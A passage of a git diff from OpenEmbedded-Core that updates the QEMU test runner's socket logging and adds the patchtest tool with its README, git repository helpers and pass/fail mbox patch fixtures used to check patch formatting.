- data = self.recv(1024)
+ elif self.readsock and self.readsock.fileno() == fd:
+ data = self.recv(1024, self.readsock)
self.logfunc(data)
+ elif self.qemuoutput.fileno() == fd:
+ data = self.qemuoutput.read()
+ self.logger.debug("Data received on qemu stdout %s" % data)
+ self.logfunc(data, ".stdout")
+ elif self.serialsock and self.serialsock.fileno() == fd:
+ if self.serial_lock.acquire(blocking=False):
+ data = self.recv(1024, self.serialsock)
+ self.logger.debug("Data received serial thread %s" % data.decode('utf-8', 'replace'))
+ self.logfunc(data, ".2")
+ self.serial_lock.release()
+ else:
+ serial_registered = False
+ poll.unregister(self.serialsock.fileno())
+
+ if not serial_registered and self.serialsock:
+ with nonblocking_lock(self.serial_lock) as l:
+ if l:
+ serial_registered = True
+ poll.register(self.serialsock.fileno(), event_read_mask)
+
# Since the socket is non-blocking make sure to honor EAGAIN
# and EWOULDBLOCK.
- def recv(self, count):
+ def recv(self, count, sock):
try:
- data = self.readsock.recv(count)
+ data = sock.recv(count)
except socket.error as e:
if e.errno == errno.EAGAIN or e.errno == errno.EWOULDBLOCK:
- return ''
+ return b''
else:
raise
@@ -649,7 +855,9 @@ class LoggingThread(threading.Thread):
# happened. But for this code it counts as an
# error since the connection shouldn't go away
# until qemu exits.
- raise Exception("Console connection closed unexpectedly")
+ if not self.canexit:
+ raise Exception("Console connection closed unexpectedly")
+ return b''
return data
@@ -661,6 +869,9 @@ class LoggingThread(threading.Thread):
val = 'POLLHUP'
elif select.POLLNVAL == event:
val = 'POLLNVAL'
+ else:
+ val = "0x%x" % (event)
+
return val
def close_socket(self, sock):
diff --git a/meta/lib/oeqa/utils/qemutinyrunner.py b/meta/lib/oeqa/utils/qemutinyrunner.py
index 5c92941c0a..20009401ca 100644
--- a/meta/lib/oeqa/utils/qemutinyrunner.py
+++ b/meta/lib/oeqa/utils/qemutinyrunner.py
@@ -19,7 +19,7 @@ from .qemurunner import QemuRunner
class QemuTinyRunner(QemuRunner):
- def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, kernel, boottime, logger):
+ def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, kernel, boottime, logger, tmpfsdir=None):
# Popen object for runqemu
self.runqemu = None
@@ -37,6 +37,7 @@ class QemuTinyRunner(QemuRunner):
self.deploy_dir_image = deploy_dir_image
self.logfile = logfile
self.boottime = boottime
+ self.tmpfsdir = tmpfsdir
self.runqemutime = 60
self.socketfile = "console.sock"
@@ -83,6 +84,9 @@ class QemuTinyRunner(QemuRunner):
return False
else:
os.environ["DEPLOY_DIR_IMAGE"] = self.deploy_dir_image
+ if self.tmpfsdir:
+ env["RUNQEMU_TMPFS_DIR"] = self.tmpfsdir
+
# Set this flag so that Qemu doesn't do any grabs as SDL grabs interact
# badly with screensavers.
diff --git a/meta/lib/oeqa/utils/subprocesstweak.py b/meta/lib/oeqa/utils/subprocesstweak.py
index b47975a4bc..3e43ed547b 100644
--- a/meta/lib/oeqa/utils/subprocesstweak.py
+++ b/meta/lib/oeqa/utils/subprocesstweak.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import subprocess
diff --git a/meta/lib/oeqa/utils/targetbuild.py b/meta/lib/oeqa/utils/targetbuild.py
index 1055810ca3..09738add1d 100644
--- a/meta/lib/oeqa/utils/targetbuild.py
+++ b/meta/lib/oeqa/utils/targetbuild.py
@@ -19,6 +19,7 @@ class BuildProject(metaclass=ABCMeta):
self.d = d
self.uri = uri
self.archive = os.path.basename(uri)
+ self.tempdirobj = None
if not tmpdir:
tmpdir = self.d.getVar('WORKDIR')
if not tmpdir:
@@ -71,9 +72,10 @@ class BuildProject(metaclass=ABCMeta):
return self._run('cd %s; make install %s' % (self.targetdir, install_args))
def clean(self):
+ if self.tempdirobj:
+ self.tempdirobj.cleanup()
self._run('rm -rf %s' % self.targetdir)
subprocess.check_call('rm -f %s' % self.localarchive, shell=True)
- pass
class TargetBuildProject(BuildProject):
diff --git a/meta/lib/patchtest/README.md b/meta/lib/patchtest/README.md
new file mode 100644
index 0000000000..f66613c0c1
--- /dev/null
+++ b/meta/lib/patchtest/README.md
@@ -0,0 +1,20 @@
+# patchtest selftests for openembedded-core
+
+This directory provides a test suite and selftest script for use with the
+patchtest repository: https://git.yoctoproject.org/patchtest/
+
+To setup for use:
+
+1. Clone https://git.openembedded.org/openembedded-core (this repo) and https://git.openembedded.org/bitbake/
+2. Clone https://git.yoctoproject.org/patchtest
+3. Install the necessary Python modules: in meta/lib/patchtest or the patchtest
+ repo, do `pip install -r requirements.txt`
+4. Add patchtest to PATH: `export PATH=/path/to/patchtest/repo:$PATH`
+5. Initialize the environment: `source oe-init-build-env`
+6. Add meta-selftest to bblayers.conf: `bitbake-layers add-layer
+ /path/to/meta-selftest/` (the selftests use this layer's recipes as test
+ targets)
+7. Finally, run the selftest script: `./meta/lib/patchtest/selftest/selftest`
+
+For more information on using patchtest, see the patchtest repo at
+https://git.yoctoproject.org/patchtest/.
diff --git a/meta/lib/patchtest/data.py b/meta/lib/patchtest/data.py
new file mode 100644
index 0000000000..356259921d
--- /dev/null
+++ b/meta/lib/patchtest/data.py
@@ -0,0 +1,86 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtestdata: module used to share command line arguments between
+# patchtest & test suite and a data store between test cases
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+# NOTE: Strictly speaking, unit test should be isolated from outside,
+# but patchtest test suites uses command line input data and
+# pretest and test test cases may use the datastore defined
+# on this module
+
+import os
+import argparse
+import collections
+import logging
+
+logger=logging.getLogger('patchtest')
+info=logger.info
+
+default_testdir = os.path.abspath(os.path.dirname(__file__) + "/tests")
+default_repodir = os.path.abspath(os.path.dirname(__file__) + "/../../..")
+
+# Data store commonly used to share values between pre and post-merge tests
+PatchTestDataStore = collections.defaultdict(str)
+
+class PatchTestInput(object):
+ """Abstract the patchtest argument parser"""
+
+ @classmethod
+ def set_namespace(cls):
+ parser = cls.get_parser()
+ parser.parse_args(namespace=cls)
+
+ @classmethod
+ def get_parser(cls):
+ parser = argparse.ArgumentParser()
+
+ target_patch_group = parser.add_mutually_exclusive_group(required=True)
+
+ target_patch_group.add_argument('--patch', metavar='PATCH', dest='patch_path',
+ help='The patch to be tested')
+
+ target_patch_group.add_argument('--directory', metavar='DIRECTORY', dest='patch_path',
+ help='The directory containing patches to be tested')
+
+ parser.add_argument('--repodir', metavar='REPO',
+ default=default_repodir,
+ help="Name of the repository where patch is merged")
+
+ parser.add_argument('--testdir', metavar='TESTDIR',
+ default=default_testdir,
+ help="Directory where test cases are located")
+
+ parser.add_argument('--top-level-directory', '-t',
+ dest='topdir',
+ default=None,
+ help="Top level directory of project (defaults to start directory)")
+
+ parser.add_argument('--pattern', '-p',
+ dest='pattern',
+ default='test*.py',
+ help="Pattern to match test files")
+
+ parser.add_argument('--base-branch', '-b',
+ dest='basebranch',
+ help="Branch name used by patchtest to branch from. By default, it uses the current one.")
+
+ parser.add_argument('--base-commit', '-c',
+ dest='basecommit',
+ help="Commit ID used by patchtest to branch from. By default, it uses HEAD.")
+
+ parser.add_argument('--debug', '-d',
+ action='store_true',
+ help='Enable debug output')
+
+ parser.add_argument('--log-results',
+ action='store_true',
+ help='Enable logging to a file matching the target patch name with ".testresult" appended')
+
+
+ return parser
+
diff --git a/meta/lib/patchtest/patch.py b/meta/lib/patchtest/patch.py
new file mode 100644
index 0000000000..baf6283873
--- /dev/null
+++ b/meta/lib/patchtest/patch.py
@@ -0,0 +1,62 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtestpatch: PatchTestPatch class which abstracts a patch file
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import logging
+import utils
+
+logger = logging.getLogger('patchtest')
+
+class PatchTestPatch(object):
+ MERGE_STATUS_INVALID = 'INVALID'
+ MERGE_STATUS_NOT_MERGED = 'NOTMERGED'
+ MERGE_STATUS_MERGED_SUCCESSFULL = 'PASS'
+ MERGE_STATUS_MERGED_FAIL = 'FAIL'
+ MERGE_STATUS = (MERGE_STATUS_INVALID,
+ MERGE_STATUS_NOT_MERGED,
+ MERGE_STATUS_MERGED_SUCCESSFULL,
+ MERGE_STATUS_MERGED_FAIL)
+
+ def __init__(self, path, forcereload=False):
+ self._path = path
+ self._forcereload = forcereload
+
+ self._contents = None
+ self._branch = None
+ self._merge_status = PatchTestPatch.MERGE_STATUS_NOT_MERGED
+
+ @property
+ def contents(self):
+ if self._forcereload or (not self._contents):
+ logger.debug('Reading %s contents' % self._path)
+ try:
+ with open(self._path, newline='') as _f:
+ self._contents = _f.read()
+ except IOError:
+ logger.warn("Reading the mbox %s failed" % self.resource)
+ return self._contents
+
+ @property
+ def path(self):
+ return self._path
+
+ @property
+ def branch(self):
+ if not self._branch:
+ self._branch = utils.get_branch(self._path)
+ return self._branch
+
+ def setmergestatus(self, status):
+ self._merge_status = status
+
+ def getmergestatus(self):
+ return self._merge_status
+
+ merge_status = property(getmergestatus, setmergestatus)
+
diff --git a/meta/lib/patchtest/repo.py b/meta/lib/patchtest/repo.py
new file mode 100644
index 0000000000..d3788f466d
--- /dev/null
+++ b/meta/lib/patchtest/repo.py
@@ -0,0 +1,174 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+#
+# patchtestrepo: PatchTestRepo class used mainly to control a git repo from patchtest
+#
+# Copyright (C) 2016 Intel Corporation
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import os
+import utils
+import logging
+from patch import PatchTestPatch
+
+logger = logging.getLogger('patchtest')
+info=logger.info
+
+class PatchTestRepo(object):
+
+ # prefixes used for temporal branches/stashes
+ prefix = 'patchtest'
+
+ def __init__(self, patch, repodir, commit=None, branch=None):
+ self._repodir = repodir
+ self._patch = PatchTestPatch(patch)
+ self._current_branch = self._get_current_branch()
+
+ # targeted branch defined on the patch may be invalid, so make sure there
+ # is a corresponding remote branch
+ valid_patch_branch = None
+ if self._patch.branch in self.upstream_branches():
+ valid_patch_branch = self._patch.branch
+
+ # Target Branch
+ # Priority (top has highest priority):
+ # 1. branch given at cmd line
+ # 2. branch given at the patch
+ # 3. current branch
+ self._branch = branch or valid_patch_branch or self._current_branch
+
+ # Target Commit
+ # Priority (top has highest priority):
+ # 1. commit given at cmd line
+ # 2. branch given at cmd line
+ # 3. branch given at the patch
+ # 3. current HEAD
+ self._commit = self._get_commitid(commit) or \
+ self._get_commitid(branch) or \
+ self._get_commitid(valid_patch_branch) or \
+ self._get_commitid('HEAD')
+
+ self._workingbranch = "%s_%s" % (PatchTestRepo.prefix, os.getpid())
+
+ # create working branch
+ self._exec({'cmd': ['git', 'checkout', '-b', self._workingbranch, self._commit]})
+
+ self._patchmerged = False
+
+ # Check if patch can be merged using git-am
+ self._patchcanbemerged = True
+ try:
+ self._exec({'cmd': ['git', 'am', '--keep-cr'], 'input': self._patch.contents})
+ except utils.CmdException as ce:
+ self._exec({'cmd': ['git', 'am', '--abort']})
+ self._patchcanbemerged = False
+ finally:
+ # if patch was applied, remove it
+ if self._patchcanbemerged:
+ self._exec({'cmd':['git', 'reset', '--hard', self._commit]})
+
+ # for debugging purposes, print all repo parameters
+ logger.debug("Parameters")
+ logger.debug("\tRepository : %s" % self._repodir)
+ logger.debug("\tTarget Commit : %s" % self._commit)
+ logger.debug("\tTarget Branch : %s" % self._branch)
+ logger.debug("\tWorking branch : %s" % self._workingbranch)
+ logger.debug("\tPatch : %s" % self._patch)
+
+ @property
+ def patch(self):
+ return self._patch.path
+
+ @property
+ def branch(self):
+ return self._branch
+
+ @property
+ def commit(self):
+ return self._commit
+
+ @property
+ def ismerged(self):
+ return self._patchmerged
+
+ @property
+ def canbemerged(self):
+ return self._patchcanbemerged
+
+ def _exec(self, cmds):
+ _cmds = []
+ if isinstance(cmds, dict):
+ _cmds.append(cmds)
+ elif isinstance(cmds, list):
+ _cmds = cmds
+ else:
+ raise utils.CmdException({'cmd':str(cmds)})
+
+ results = []
+ cmdfailure = False
+ try:
+ results = utils.exec_cmds(_cmds, self._repodir)
+ except utils.CmdException as ce:
+ cmdfailure = True
+ raise ce
+ finally:
+ if cmdfailure:
+ for cmd in _cmds:
+ logger.debug("CMD: %s" % ' '.join(cmd['cmd']))
+ else:
+ for result in results:
+ cmd, rc, stdout, stderr = ' '.join(result['cmd']), result['returncode'], result['stdout'], result['stderr']
+ logger.debug("CMD: %s RCODE: %s STDOUT: %s STDERR: %s" % (cmd, rc, stdout, stderr))
+
+ return results
+
+ def _get_current_branch(self, commit='HEAD'):
+ cmd = {'cmd':['git', 'rev-parse', '--abbrev-ref', commit]}
+ cb = self._exec(cmd)[0]['stdout']
+ if cb == commit:
+ logger.warning('You may be detached so patchtest will checkout to master after execution')
+ cb = 'master'
+ return cb
+
+ def _get_commitid(self, commit):
+
+ if not commit:
+ return None
+
+ try:
+ cmd = {'cmd':['git', 'rev-parse', '--short', commit]}
+ return self._exec(cmd)[0]['stdout']
+ except utils.CmdException as ce:
+ # try getting the commit under any remotes
+ cmd = {'cmd':['git', 'remote']}
+ remotes = self._exec(cmd)[0]['stdout']
+ for remote in remotes.splitlines():
+ cmd = {'cmd':['git', 'rev-parse', '--short', '%s/%s' % (remote, commit)]}
+ try:
+ return self._exec(cmd)[0]['stdout']
+ except utils.CmdException:
+ pass
+
+ return None
+
+ def upstream_branches(self):
+ cmd = {'cmd':['git', 'branch', '--remotes']}
+ remote_branches = self._exec(cmd)[0]['stdout']
+
+ # just get the names, without the remote name
+ branches = set(branch.split('/')[-1] for branch in remote_branches.splitlines())
+ return branches
+
+ def merge(self):
+ if self._patchcanbemerged:
+ self._exec({'cmd': ['git', 'am', '--keep-cr'],
+ 'input': self._patch.contents,
+ 'updateenv': {'PTRESOURCE':self._patch.path}})
+ self._patchmerged = True
+
+ def clean(self):
+ self._exec({'cmd':['git', 'checkout', '%s' % self._current_branch]})
+ self._exec({'cmd':['git', 'branch', '-D', self._workingbranch]})
+ self._patchmerged = False
diff --git a/meta/lib/patchtest/requirements.txt b/meta/lib/patchtest/requirements.txt
new file mode 100644
index 0000000000..ba55ff905e
--- /dev/null
+++ b/meta/lib/patchtest/requirements.txt
@@ -0,0 +1,6 @@
+boto3
+git-pw>=2.5.0
+jinja2
+pylint
+pyparsing>=3.0.9
+unidiff
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.fail
new file mode 100644
index 0000000000..0c40cdc1b6
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.fail
@@ -0,0 +1,32 @@
+From 1fbb446d1849b1208012cbdae5d85d228cdbe4a6 Mon Sep 17 00:00:00 2001
+From: First Last <first.last@example.com>
+Date: Tue, 29 Aug 2023 13:32:24 -0400
+Subject: [PATCH] selftest-hello: add a summary
+
+This patch should fail the selftests because the author address is from the
+invalid "example.com".
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..491f0a3df7 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -1,3 +1,4 @@
++SUMMARY = "A cool sample"
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+@@ -16,4 +17,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.pass b/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.pass
new file mode 100644
index 0000000000..cbb8ef2cef
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.1.pass
@@ -0,0 +1,31 @@
+From 1fbb446d1849b1208012cbdae5d85d228cdbe4a6 Mon Sep 17 00:00:00 2001
+From: First Last <first.last@address.com>
+Date: Tue, 29 Aug 2023 13:32:24 -0400
+Subject: [PATCH] selftest-hello: add a summary
+
+This patch should pass the selftests because the author address is in a valid format.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..491f0a3df7 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -1,3 +1,4 @@
++SUMMARY = "A cool sample"
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+@@ -16,4 +17,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.fail
new file mode 100644
index 0000000000..3e2b81bca1
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.fail
@@ -0,0 +1,31 @@
+From 1fbb446d1849b1208012cbdae5d85d228cdbe4a6 Mon Sep 17 00:00:00 2001
+From: Upgrade Helper <auh@auh.yoctoproject.org>
+Date: Tue, 29 Aug 2023 13:32:24 -0400
+Subject: [PATCH] selftest-hello: add a summary
+
+This patch should fail the selftests because AUH is an invalid sender.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..491f0a3df7 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -1,3 +1,4 @@
++SUMMARY = "A cool sample"
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+@@ -16,4 +17,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.pass b/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.pass
new file mode 100644
index 0000000000..f84e1265a7
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_author_valid.2.pass
@@ -0,0 +1,31 @@
+From 1fbb446d1849b1208012cbdae5d85d228cdbe4a6 Mon Sep 17 00:00:00 2001
+From: First Last <averylongemailaddressthatishardtoread.from@address.com>
+Date: Tue, 29 Aug 2023 13:32:24 -0400
+Subject: [PATCH] selftest-hello: add a summary
+
+This patch should pass the selftests because the author address is in a valid format.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../recipes-test/selftest-hello/selftest-hello_1.0.bb | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+index 547587bef4..491f0a3df7 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+@@ -1,3 +1,4 @@
++SUMMARY = "A cool sample"
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+@@ -16,4 +17,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.fail
new file mode 100644
index 0000000000..80f409e952
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.fail
@@ -0,0 +1,25 @@
+From fdfd605e565d874502522c4b70b786c8c5aa0bad Mon Sep 17 00:00:00 2001
+From: name@somedomain.com <email@address.com>
+Date: Fri, 17 Feb 2017 16:29:21 -0600
+Subject: [PATCH] README: adds 'foo' to the header
+
+This test patch adds 'foo' to the header
+
+[YOCTO 1234]
+
+Signed-off-by: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+---
+ README | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/README b/README
+index 521916cd4f..cdf29dcea3 100644
+--- a/README
++++ b/README
+@@ -1,3 +1,4 @@
++**** FOO ****
+ OpenEmbedded-Core
+ =================
+
+--
+2.11.0
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.pass b/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.pass
new file mode 100644
index 0000000000..2648b03364
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_bugzilla_entry_format.pass
@@ -0,0 +1,25 @@
+From fdfd605e565d874502522c4b70b786c8c5aa0bad Mon Sep 17 00:00:00 2001
+From: name@somedomain.com <email@address.com>
+Date: Fri, 17 Feb 2017 16:29:21 -0600
+Subject: [PATCH] README: adds 'foo' to the header
+
+This test patch adds 'foo' to the header
+
+[YOCTO #1234]
+
+Signed-off-by: Daniela Plascencia <daniela.plascencia@linux.intel.com>
+---
+ README | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/README b/README
+index 521916cd4f..cdf29dcea3 100644
+--- a/README
++++ b/README
+@@ -1,3 +1,4 @@
++**** FOO ****
+ OpenEmbedded-Core
+ =================
+
+--
+2.11.0
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.fail
new file mode 100644
index 0000000000..93ca0f9119
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.fail
@@ -0,0 +1,22 @@
+From 0a52a62c9430c05d22cb7f46380488f2280b69bb Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Fri, 1 Sep 2023 08:56:14 -0400
+Subject: [PATCH] README.OE-Core.md: add foo
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ README.OE-Core.md | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/README.OE-Core.md b/README.OE-Core.md
+index 2f2127fb03..48464252c8 100644
+--- a/README.OE-Core.md
++++ b/README.OE-Core.md
+@@ -1,3 +1,4 @@
++** FOO **
+ OpenEmbedded-Core
+ =================
+
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.pass b/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.pass
new file mode 100644
index 0000000000..5e3dcbd58b
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_commit_message_presence.pass
@@ -0,0 +1,24 @@
+From 0a52a62c9430c05d22cb7f46380488f2280b69bb Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Fri, 1 Sep 2023 08:56:14 -0400
+Subject: [PATCH] README.OE-Core.md: add foo
+
+This is a commit message
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ README.OE-Core.md | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/README.OE-Core.md b/README.OE-Core.md
+index 2f2127fb03..48464252c8 100644
+--- a/README.OE-Core.md
++++ b/README.OE-Core.md
+@@ -1,3 +1,4 @@
++** FOO **
+ OpenEmbedded-Core
+ =================
+
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.1.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.1.fail
new file mode 100644
index 0000000000..9cc4aab38a
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.1.fail
@@ -0,0 +1,36 @@
+From d12db4cfa913b0e7a4b5bd858d3019acc53ce426 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Wed, 30 Aug 2023 12:15:00 -0400
+Subject: [PATCH] selftest-hello: upgrade 1.0 -> 1.1
+
+This test should fail the mbox formatting test and the merge on head
+test.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../{selftest-hello_1.0.bb => selftest-hello_1.1.bb} | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+ rename meta-selftest/recipes-test/selftest-hello/{selftest-hello_1.0.bb => selftest-hello_1.1.bb} (88%)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+similarity index 88%
+rename from meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+rename to meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+index 547587bef4..acc388ec2c 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+@@ -1,3 +1,4 @@
+%+SUMMARY = "Hello!"
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+@@ -16,4 +17,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.2.fail b/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.2.fail
new file mode 100644
index 0000000000..eca1c60085
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.2.fail
@@ -0,0 +1,35 @@
+From d12db4cfa913b0e7a4b5bd858d3019acc53ce426 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Wed, 30 Aug 2023 12:15:00 -0400
+Subject: [PATCH] selftest-hello: upgrade 1.0 -> 1.1
+
+This test should fail the merge-on-head and mbox formatting tests.
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../{selftest-hello_1.0.bb => selftest-hello_1.1.bb} | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+ rename meta-selftest/recipes-test/selftest-hello/{selftest-hello_1.0.bb => selftest-hello_1.1.bb} (88%)
+
+diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+similarity index 88%
+rename from meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
+rename to meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+index 547587bef4..acc388ec2c 100644
+--- a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
++++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.1.bb
+@@ -1,3 +1,4 @@
+%+SUMMARY = "Hello!"
+ DESCRIPTION = "Simple helloworld application -- selftest variant"
+ SECTION = "examples"
+ LICENSE = "MIT"
+@@ -16,4 +17,4 @@ do_install() {
+ install -m 0755 helloworld ${D}${bindir}
+ }
+
+-BBCLASSEXTEND = "native nativesdk"
+\ No newline at end of file
++BBCLASSEXTEND = "native nativesdk"
+--
+2.41.0
+
diff --git a/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.pass b/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.pass
new file mode 100644
index 0000000000..33940adffc
--- /dev/null
+++ b/meta/lib/patchtest/selftest/files/TestMbox.test_mbox_format.pass
@@ -0,0 +1,33 @@
+From d12db4cfa913b0e7a4b5bd858d3019acc53ce426 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Wed, 30 Aug 2023 12:15:00 -0400
+Subject: [PATCH] selftest-hello: upgrade 1.0 -> 1.1
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ .../{selftest-hello_1.0.bb => selftest-hello_1.1.bb} | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
